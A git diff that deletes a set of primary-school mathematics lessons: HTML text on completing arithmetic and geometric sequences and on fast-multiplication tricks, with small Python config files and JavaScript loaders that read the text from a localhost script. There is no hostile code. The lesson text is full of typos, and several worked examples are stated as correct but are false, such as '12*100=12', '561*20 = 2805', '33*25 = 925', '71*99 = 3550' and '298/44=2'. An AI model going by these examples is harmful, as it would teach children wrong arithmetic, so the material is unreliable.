diff --git a/Save_Mathematics/P6/map611m07/map611m07a02/a.txt b/Save_Mathematics/P6/map611m07/map611m07a02/a.txt
deleted file mode 100644
index d499421..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a02/a.txt
+++ /dev/null
@@ -1,63 +0,0 @@
-<p>
- <strong>
-  Guided Practice
- </strong>
-</p>
-<p>
- Example 1: Fill with the missing numbers the following set of nummbers:
- <br />
- <br />
- 5;8;11;14;..
- <span style="font-weight: bold;">
-  .17...;...20...;...23....
- </span>
- <br />
- <br />
- To find the next tterm(numbers) wheb the numbers aare arrnginng from the lowest, you take the lat one and you subract the nearest to get the ratio. After that you add hhtat same number. for considering our example: 14-11=3. This 3 is the ratio of the pprogression.
- <br />
- <br />
- Example 2. Fill with the three missing number the following
- <br />
- 36;32;28;24;
- <span style="font-weight: bold;">
-  ......20......;........16.......;.......12........;
- </span>
- <br />
- <br />
- To find the missing numbers, when the numbers are arranged from the biggest, you have to find the ratio and you subtract that ratio to get the next numbers.
- <br />
- By takingg oour example the ratio will be 28-24=4 OR 32-28=4 OR 36-32=4
- <br />
- <br />
- Example 3: Complete these set with the three next missing numbers:
- <br />
- <br />
- a. 4;12;.
- <span style="font-weight: bold;">
-  ...36*3=108.....;....108*3=324....;......324*3=972.....
- </span>
- <br />
- Here the ratio is obtained by 12/4=3
- <br />
- <br />
- b. 298;144;72;
- <span style="font-weight: bold;">
-  .....72/2=36......;....36/2=18.....;....18/2=9.....
- </span>
- <br />
- Here the ratio is obtained by 298/44=2 OR 144/72=2
- <br />
- <br />
- c. 1/972;1/324;1/108;
- <span style="font-weight: bold;">
-  .......1*3/108=1/36....;.......1*3/36=1/12......;...1*3/12=1/4;
- </span>
- <br />
- Here the ratio is obtained by 972/324=3 OR 324/108=3.
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notes:
- </span>
- The next terms can be found by multiplying oor dividing by the same ratio.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m07/map611m07a02/description.py b/Save_Mathematics/P6/map611m07/map611m07a02/description.py
deleted file mode 100644
index 3d88efe..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m07a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m07/map611m07a02/lesson.js b/Save_Mathematics/P6/map611m07/map611m07a02/lesson.js
deleted file mode 100644
index 64fc8f3..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m07/map611m07a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m07/map611m07a02/source.txt b/Save_Mathematics/P6/map611m07/map611m07a02/source.txt
deleted file mode 100644
index d499421..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a02/source.txt
+++ /dev/null
@@ -1,63 +0,0 @@
-<p>
- <strong>
-  Guided Practice
- </strong>
-</p>
-<p>
- Example 1: Fill with the missing numbers the following set of nummbers:
- <br />
- <br />
- 5;8;11;14;..
- <span style="font-weight: bold;">
-  .17...;...20...;...23....
- </span>
- <br />
- <br />
- To find the next tterm(numbers) wheb the numbers aare arrnginng from the lowest, you take the lat one and you subract the nearest to get the ratio. After that you add hhtat same number. for considering our example: 14-11=3. This 3 is the ratio of the pprogression.
- <br />
- <br />
- Example 2. Fill with the three missing number the following
- <br />
- 36;32;28;24;
- <span style="font-weight: bold;">
-  ......20......;........16.......;.......12........;
- </span>
- <br />
- <br />
- To find the missing numbers, when the numbers are arranged from the biggest, you have to find the ratio and you subtract that ratio to get the next numbers.
- <br />
- By takingg oour example the ratio will be 28-24=4 OR 32-28=4 OR 36-32=4
- <br />
- <br />
- Example 3: Complete these set with the three next missing numbers:
- <br />
- <br />
- a. 4;12;.
- <span style="font-weight: bold;">
-  ...36*3=108.....;....108*3=324....;......324*3=972.....
- </span>
- <br />
- Here the ratio is obtained by 12/4=3
- <br />
- <br />
- b. 298;144;72;
- <span style="font-weight: bold;">
-  .....72/2=36......;....36/2=18.....;....18/2=9.....
- </span>
- <br />
- Here the ratio is obtained by 298/44=2 OR 144/72=2
- <br />
- <br />
- c. 1/972;1/324;1/108;
- <span style="font-weight: bold;">
-  .......1*3/108=1/36....;.......1*3/36=1/12......;...1*3/12=1/4;
- </span>
- <br />
- Here the ratio is obtained by 972/324=3 OR 324/108=3.
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notes:
- </span>
- The next terms can be found by multiplying oor dividing by the same ratio.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m07/map611m07a03/a.txt b/Save_Mathematics/P6/map611m07/map611m07a03/a.txt
deleted file mode 100644
index 4be2f77..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a03/a.txt
+++ /dev/null
@@ -1,23 +0,0 @@
-<p>
- Independent Practice
-</p>
-<p>
- 1. Find the ratio and fill with the missing numbers:
- <br />
- a. 9;15;21;27;........;.......;45;.....
- <br />
- b. 64;60;56;;52;...........;........;.........
- <br />
- c. 280;270;260;250;..........;.........;........;210
- <br />
- d. 21;28;35;42;..............;........;...........;
- <br />
- <br />
- 2. Find the ratio and fill with the missiing numbers.
- <br />
- a. 1/405;11/135;1/45;..........;......
- <br />
- b. 1;6;36;................;.............
- <br />
- c. 4096;512;64;.........;........
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m07/map611m07a03/description.py b/Save_Mathematics/P6/map611m07/map611m07a03/description.py
deleted file mode 100644
index 18d2672..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m07a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m07/map611m07a03/lesson.js b/Save_Mathematics/P6/map611m07/map611m07a03/lesson.js
deleted file mode 100644
index cf972b5..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m07/map611m07a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m07/map611m07a03/source.txt b/Save_Mathematics/P6/map611m07/map611m07a03/source.txt
deleted file mode 100644
index 4be2f77..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a03/source.txt
+++ /dev/null
@@ -1,23 +0,0 @@
-<p>
- Independent Practice
-</p>
-<p>
- 1. Find the ratio and fill with the missing numbers:
- <br />
- a. 9;15;21;27;........;.......;45;.....
- <br />
- b. 64;60;56;;52;...........;........;.........
- <br />
- c. 280;270;260;250;..........;.........;........;210
- <br />
- d. 21;28;35;42;..............;........;...........;
- <br />
- <br />
- 2. Find the ratio and fill with the missiing numbers.
- <br />
- a. 1/405;11/135;1/45;..........;......
- <br />
- b. 1;6;36;................;.............
- <br />
- c. 4096;512;64;.........;........
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m07/map611m07a04/a.txt b/Save_Mathematics/P6/map611m07/map611m07a04/a.txt
deleted file mode 100644
index 1c6d0e1..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a04/a.txt
+++ /dev/null
@@ -1,24 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Evaluation:
-  <br />
- </span>
- 1.Find the missing numbers:
- <br />
- a. 35;70;..............;280;560;............
- <br />
- b. 176;88;.............22;...........
- <br />
- c. 10;18;26;34;................;.............;64
- <br />
- d. 6;12;18;24;................;................;.............
- <br />
- e. 18;16;14;12;...............;............;...........
- <br />
- f. ...............;...........;12;16;20;........;..........
- <br />
- g. 1/64;1/32;..........;1/8;1/4;..........;.........
- <span style="font-weight: bold;">
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m07/map611m07a04/description.py b/Save_Mathematics/P6/map611m07/map611m07a04/description.py
deleted file mode 100644
index 93d8780..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m07a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m07/map611m07a04/lesson.js b/Save_Mathematics/P6/map611m07/map611m07a04/lesson.js
deleted file mode 100644
index 9501b28..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m07/map611m07a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m07/map611m07a04/source.txt b/Save_Mathematics/P6/map611m07/map611m07a04/source.txt
deleted file mode 100644
index 1c6d0e1..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a04/source.txt
+++ /dev/null
@@ -1,24 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Evaluation:
-  <br />
- </span>
- 1.Find the missing numbers:
- <br />
- a. 35;70;..............;280;560;............
- <br />
- b. 176;88;.............22;...........
- <br />
- c. 10;18;26;34;................;.............;64
- <br />
- d. 6;12;18;24;................;................;.............
- <br />
- e. 18;16;14;12;...............;............;...........
- <br />
- f. ...............;...........;12;16;20;........;..........
- <br />
- g. 1/64;1/32;..........;1/8;1/4;..........;.........
- <span style="font-weight: bold;">
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m07/map611m07a05/a.txt b/Save_Mathematics/P6/map611m07/map611m07a05/a.txt
deleted file mode 100644
index fc42048..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a05/a.txt
+++ /dev/null
@@ -1,43 +0,0 @@
-<p>
- <strong>
-  Remedial:
- </strong>
- <br />
- <br />
- 1. Give the answers of the following:
- <br />
- a. 13+3=? b.16+3=? c. 19+3=? d. 21+3=?
- <br />
- 2.Give the answers of the following:
- <br />
- a. 38-6= b. 32-6= 26-6= 20-6=
- <br />
- <br />
- 3. Complete the following numbers?
- <br />
- a. 19;16;13;10;.........;..........
- <br />
- b. 33;31;29;.............;.........
- <br />
- c. 6;11;...........;21;26;........36
- <br />
- <br />
- 4.Do the following:
- <br />
- a . 36/3=
- <br />
- b. 12*2=
- <br />
- d. 4*4=
- <br />
- e. 42/7=
- <br />
- <br />
- 5. find the missing numbers:
- <br />
- a. 13;26;.......;104;208;........
- <br />
- b. 1/720;1/360;..........;.........
- <br />
- c. 1280;320;........;20;.........
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m07/map611m07a05/description.py b/Save_Mathematics/P6/map611m07/map611m07a05/description.py
deleted file mode 100644
index 9aa4246..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m07a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m07/map611m07a05/lesson.js b/Save_Mathematics/P6/map611m07/map611m07a05/lesson.js
deleted file mode 100644
index 664dc2b..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m07/map611m07a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m07/map611m07a05/source.txt b/Save_Mathematics/P6/map611m07/map611m07a05/source.txt
deleted file mode 100644
index fc42048..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a05/source.txt
+++ /dev/null
@@ -1,43 +0,0 @@
-<p>
- <strong>
-  Remedial:
- </strong>
- <br />
- <br />
- 1. Give the answers of the following:
- <br />
- a. 13+3=? b.16+3=? c. 19+3=? d. 21+3=?
- <br />
- 2.Give the answers of the following:
- <br />
- a. 38-6= b. 32-6= 26-6= 20-6=
- <br />
- <br />
- 3. Complete the following numbers?
- <br />
- a. 19;16;13;10;.........;..........
- <br />
- b. 33;31;29;.............;.........
- <br />
- c. 6;11;...........;21;26;........36
- <br />
- <br />
- 4.Do the following:
- <br />
- a . 36/3=
- <br />
- b. 12*2=
- <br />
- d. 4*4=
- <br />
- e. 42/7=
- <br />
- <br />
- 5. find the missing numbers:
- <br />
- a. 13;26;.......;104;208;........
- <br />
- b. 1/720;1/360;..........;.........
- <br />
- c. 1280;320;........;20;.........
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m07/map611m07a06/a.txt b/Save_Mathematics/P6/map611m07/map611m07a06/a.txt
deleted file mode 100644
index 2c673a8..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a06/a.txt
+++ /dev/null
@@ -1,26 +0,0 @@
-Enrichment:
-
-1.Arrange the following numbers by using 5 as a ratio, from the lowest
-a. 37;26;12;32;10;17;27;16;22
-
-2. Arrange the following numbers from the biggest number, considering 4 as a ratio.
-a. 29;15;21;17;23;13;25
-
-3. Find the missing numbers in the table below by dividig or ultiplying by 2.
-
-/2 OR *2
-	2
-	4
-	
-	16
-
-	
-	8
-	16
-	
-4
-	
-	
-	
-	64
-
diff --git a/Save_Mathematics/P6/map611m07/map611m07a06/description.py b/Save_Mathematics/P6/map611m07/map611m07a06/description.py
deleted file mode 100644
index 56d2c8d..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m07a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m07/map611m07a06/lesson.js b/Save_Mathematics/P6/map611m07/map611m07a06/lesson.js
deleted file mode 100644
index bacb90c..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m07/map611m07a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m07/map611m07a06/source.txt b/Save_Mathematics/P6/map611m07/map611m07a06/source.txt
deleted file mode 100644
index 2c673a8..0000000
--- a/Save_Mathematics/P6/map611m07/map611m07a06/source.txt
+++ /dev/null
@@ -1,26 +0,0 @@
-Enrichment:
-
-1.Arrange the following numbers by using 5 as a ratio, from the lowest
-a. 37;26;12;32;10;17;27;16;22
-
-2. Arrange the following numbers from the biggest number, considering 4 as a ratio.
-a. 29;15;21;17;23;13;25
-
-3. Find the missing numbers in the table below by dividig or ultiplying by 2.
-
-/2 OR *2
-	2
-	4
-	
-	16
-
-	
-	8
-	16
-	
-4
-	
-	
-	
-	64
-
diff --git a/Save_Mathematics/P6/map611m08/activities.js b/Save_Mathematics/P6/map611m08/activities.js
deleted file mode 100755
index 52a2312..0000000
--- a/Save_Mathematics/P6/map611m08/activities.js
+++ /dev/null
@@ -1,8 +0,0 @@
-var activities = [
-['1','1','map6','basic','map611m08a01','blue'],
-['2','2','map6','basic','map611m08a02','blue'],
-['3','3','map6','basic','map611m08a03','blue'],
-['4','4','map6','basic','map611m08a04','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m08/map611m08a01/a.txt b/Save_Mathematics/P6/map611m08/map611m08a01/a.txt
deleted file mode 100644
index 04957ff..0000000
--- a/Save_Mathematics/P6/map611m08/map611m08a01/a.txt
+++ /dev/null
@@ -1,26 +0,0 @@
-<p>
- <strong>
-  INTRODUCTION: Rules of fast calculation.
- </strong>
-</p>
-<p>
- Without using a calculator, how would you mulltiply a number by 500 in two seconds ? Is it possiblle or not?
- <br />
- If you think that it is not possible, it is very important to develop strategies for arriving at answers quickly to make life easier . let us take a look at same facts involving fast calculation.:
-</p>
-<ol>
- <li>
-  In the exams
- </li>
- <li>
-  In the shops et
- </li>
-</ol>
-<p>
- <br />
- In our milestone we are going to see how you can find producct of a number with four digits or more by 10,100,1000,19,49,99,5,11,20,25 and 50 and the product of two number between 10 and 20
- <br />
- <br style="text-decoration: underline;" />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m08/map611m08a01/description.py b/Save_Mathematics/P6/map611m08/map611m08a01/description.py
deleted file mode 100644
index 41d3683..0000000
--- a/Save_Mathematics/P6/map611m08/map611m08a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m08a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m08/map611m08a01/lesson.js b/Save_Mathematics/P6/map611m08/map611m08a01/lesson.js
deleted file mode 100644
index 791d45d..0000000
--- a/Save_Mathematics/P6/map611m08/map611m08a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m08/map611m08a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m08/map611m08a01/source.txt b/Save_Mathematics/P6/map611m08/map611m08a01/source.txt
deleted file mode 100644
index 04957ff..0000000
--- a/Save_Mathematics/P6/map611m08/map611m08a01/source.txt
+++ /dev/null
@@ -1,26 +0,0 @@
-<p>
- <strong>
-  INTRODUCTION: Rules of fast calculation.
- </strong>
-</p>
-<p>
- Without using a calculator, how would you mulltiply a number by 500 in two seconds ? Is it possiblle or not?
- <br />
- If you think that it is not possible, it is very important to develop strategies for arriving at answers quickly to make life easier . let us take a look at same facts involving fast calculation.:
-</p>
-<ol>
- <li>
-  In the exams
- </li>
- <li>
-  In the shops et
- </li>
-</ol>
-<p>
- <br />
- In our milestone we are going to see how you can find producct of a number with four digits or more by 10,100,1000,19,49,99,5,11,20,25 and 50 and the product of two number between 10 and 20
- <br />
- <br style="text-decoration: underline;" />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m08/map611m08a02/a.txt b/Save_Mathematics/P6/map611m08/map611m08a02/a.txt
deleted file mode 100644
index f1c6b6e..0000000
--- a/Save_Mathematics/P6/map611m08/map611m08a02/a.txt
+++ /dev/null
@@ -1,494 +0,0 @@
-<p>
- <strong>
-  Guided Practice: Rules of fast calculation
- </strong>
-</p>
-<p>
- A) Example1
- <br />
- <br />
- a) 7 *10 b) 12*100 c) 9*1000
- <br />
- <br />
- Multiplicand
-</p>
-<table style="width: 576px; height: 142px;" border="1">
- <tbody>
-  <tr>
-   <td width="33%" valign="top">
-    7 * 10
-    <br />
-    multiplican multiplier
-    <br />
-    put one zero after multiplicand
-    <br />
-    put one zero afterr 7
-    <br />
-    7*10=70
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    12*100
-    <br />
-    put two zeros after 12
-    <br />
-    12*100=12
-    <br />
-    <br />
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    9*1000
-    <br />
-    put three zeros after 9
-    <br />
-    9* 1000=9000
-    <br />
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <span style="text-decoration: underline;">
-  Notes
- </span>
- : when number is multiplied by:
- <br />
- <br />
- 1) ten: we add one zero ofter that number
- <br />
- 2) one hundred: we add two zeros ofter that number
- <br />
- 3) one thousand: we add three zeros ofter that number
- <br />
- Example 2:
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="25%" valign="top">
-    a) 36 * 9
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    b) 18 * 19
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    c) 17 *49
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    d) 94 * 99
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    9 can be written as 10 - 1= 9
-    <br />
-    then we have
-    <br />
-    36 * (10 - 1)=
-    <br />
-    (36 * 10) - (36 * 1)=
-    <br />
-    36 * 10 - 36=
-    <br />
-    360 - 36 = 324
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    19 can be written as
-    <br />
-    20 - 1=19
-    <br />
-    then we have
-    <br />
-    18 * (20 - 1)
-    <br />
-    = (18 * 20) - (18 - 1)
-    <br />
-    =18 * 20 - 18
-    <br />
-    = 360 - 18
-    <br />
-    =342
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    49 can be written as
-    <br />
-    50 - 1 =49
-    <br />
-    then we have
-    <br />
-    17 * (50-1)
-    <br />
-    =(17 *50) - (17 * 1)
-    <br />
-    = 850 - 17
-    <br />
-    = 833
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    99 can be written as
-    <br />
-    100 - 1 =99
-    <br />
-    94 * (100-1)
-    <br />
-    = (94 * 100) - (94 * 1)
-    <br />
-    9400 - 94
-    <br />
-    = 9306
-    <br />
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- Notes: when multiplying a number by:
- <br />
- 1) 9 you multiplyr number by 10 and you subtract that number.
- <br />
- 2) 19 you multiply that number by 20 and you subtract that number.
- <br />
- 3)49 you multiply that number by 50 and you subtract that number.
- <br />
- 4)99 you multiply that number by 100 and you subtract that number .
- <br />
- <br />
- Notice: when you mutliply a number with a multiplier ended by 9 you multiply that number with multiplier added one and then you subtract the multiplicand.
- <br />
- <br />
- Example3:
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="25%" valign="top">
-    a) 76*5
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    b)43*20
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    c)37*25
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    d)123*50
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    R1: 5 is a result of
-    <br />
-    10:2=5
-    <br />
-    R2: thus (76*10)):2
-    <br />
-    =760:22
-    <br />
-    =380
-    <br />
-    or 76*
-    <span style="text-decoration: underline;">
-     10
-    </span>
-    <br />
-    2
-    <br />
-    =
-    <span style="text-decoration: underline;">
-     76*10
-    </span>
-    <br />
-    2
-    <br />
-    = 760:2 = 380
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    20 can be written as 2*10 or 10*10
-    <br />
-    thus 43*20 is
-    <br />
-    43*(10*10)
-    <br />
-    = 43*10+43*10
-    <br />
-    = 430+ 430
-    <br />
-    = 860 or
-    <br />
-    (43*10) * 2 = 860
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    25 can be written as
-    <br />
-    100 : 4 = 25 thus
-    <br />
-    37 * 25 is 37 *
-    <span style="text-decoration: underline;">
-     100
-    </span>
-    <br />
-    4
-    <br />
-    =
-    <span style="text-decoration: underline;">
-     3700
-    </span>
-    <br />
-    4
-    <br />
-    = 3700 :4
-    <br />
-    = 925
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    50 can be written as
-    <br />
-    100 : 2= 50
-    <br />
-    thus 123 * 50 = is the same as
-    <br />
-    123 *
-    <span style="text-decoration: underline;">
-     100
-    </span>
-    <br />
-    2
-    <br />
-    =
-    <span style="text-decoration: underline;">
-     12300
-    </span>
-    <br />
-    2
-    <br />
-    = 6150
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- Notices: multiplying a number by:
- <br />
- 1)5, you mutliply that number by 10 and you devid the result by 2.
- <br />
- 2)20 you multiply that number 10 and then you multiply the result by 2.
- <br />
- 3)25 you multiply that number by 100 and then you divid the result by 4.
- <br />
- 4)50 you multiply that number by 100 and then you divid by 2.
- <br />
- <br />
- D)
- <span style="text-decoration: underline;">
-  Example 4
- </span>
- <br />
- <br />
- a) multiply 24 *11:
- <br />
- <br />
- method 1:-write 24 as a number of 3 digit with 0 between 2 and 4 so
- <br />
- we have 204
- <br />
- - Add 2 and 4 (2 + 4 ) as tens, it means you put one zero after
- <br />
- the results we have 60 after you add 204 + 60
- <br />
- + 204
- <br />
- <span style="text-decoration: underline;">
-  60
- </span>
- <br />
- 264
- <br />
- <br />
- method 2: rewrite 11 as (10 + 111)
- <br />
- we have 24 * (10 + 1) = (24 * 10) + (24 * 1)
- <br />
- = 240 + 24 = 264
- <br />
- <br />
- Notes: when you multiply a number by 11 you multiply that number with 10 and then after you add that number.
- <br />
- <br />
- Notice: By multiplying a number with a multiplier having one at the end , you multiply that number with a multiplyer subtracted one and then you add that number on the result.
- <br />
- <br />
- <span style="text-decoration: underline;">
-  Example 5:
- </span>
- <br />
- <br />
- a) 313 * 10 = 3130 b) 53 * 100 = 5300 c) 21 * 1000=21000
- <br />
- d) 247 + 9 = 247 *(10 + 1)= (247 * 10)+(247 *1) = 2470 + 247 = 2717
- <br />
- e) 74 * 19 = 74 * (20 - 1) = (74 * 20) - (74 * 1) = 1480 - 74 = 1406
- <br />
- f) 71 * 99 = 71 * (
- <span style="text-decoration: underline;">
-  100
- </span>
- ) =
- <span style="text-decoration: underline;">
-  71 * 100 =
- </span>
- <span style="text-decoration: underline;">
-  710
-  <span style="text-decoration: underline;">
-   0
-  </span>
- </span>
- =3550
- <span style="text-decoration: underline;">
-  <span style="text-decoration: underline;">
-   <br />
-  </span>
- </span>
- 2 2 2
- <br />
- g) 81* 5 = 81*
- <span style="text-decoration: underline;">
-  10
- </span>
- =
- <span style="text-decoration: underline;">
-  810
- </span>
- =405
- <br />
- 2 2
- <br />
- h) 561 * 20 =561 *(10 * 2) =(561 * 10)* 2= 5610 * 2 = 2805
- <br />
- i) 33 * 25 = 33 *
- <span style="text-decoration: underline;">
-  100
- </span>
- =
- <span style="text-decoration: underline;">
-  3300
- </span>
- =925
- <br />
- 4 4
- <br />
- k) 57 * 11 = 57 *(10 + 1) = 570 + 57 = 627
- <br />
- or 507 + 120 = 627
- <br />
- <br />
- Example 6:
- <br />
- multipy 17 * 16
- <br />
- a) 17 * 16 =(10 + 7) * (10 + 6)
- <br />
- = 10 * 10 + 10 *6 + 7 * 10 + 7*6 =10 *(10 + 6 + 7) + 7 * 6
- <br />
- = 10 * 23 + 42
- <br />
- = 230 + 42
- <br />
- = 272
- <br />
- b)17 * 13 =(10 + 7) *(10 * 3)
- <br />
- =10 * 10 + 10 * 3 + 7 * 10 + 7 * 3
- <br />
- =10 *(10 + 3 +7) + 21
- <br />
- = 10 * 20 + 21
- <br />
- = 221
- <br />
- c) 16 * 14 = 10(10 + 4 + 6) + 6 * 4
- <br />
- = 10 * 20 + 24 = 224
- <br />
- d) 15 * 12 = 10 *(10 + 2 + 5) + 5 *2
- <br />
- = 10 * 17 + 10
- <br />
- =170 + 10 = 180
- <br />
- <br />
- Notes: For multiplying the numbers between 10 and 20 you apply the ditributive and associative properties or you multiply with ten the sum of ten and the ends of those two numbers and then after you add to the result the prodct of the ends of those numbers.
- <br />
- <br />
- <br />
-</p>
-<div style="text-align: center;">
- <span style="text-decoration: underline;">
-  &nbsp;
- </span>
-</div>
-<p>
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- 1) ten : we add one zero after that number
- <br />
- 2) one hundred : we add two zeros ofter that number
- <br />
- 3) one thousand: we add three zeros ofter that number.
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-<p>
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m08/map611m08a02/description.py b/Save_Mathematics/P6/map611m08/map611m08a02/description.py
deleted file mode 100644
index a384a3b..0000000
--- a/Save_Mathematics/P6/map611m08/map611m08a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m08a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m08/map611m08a02/lesson.js b/Save_Mathematics/P6/map611m08/map611m08a02/lesson.js
deleted file mode 100644
index 6277665..0000000
--- a/Save_Mathematics/P6/map611m08/map611m08a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m08/map611m08a02/a.txt'},
-     function(){
-    });
-};
-
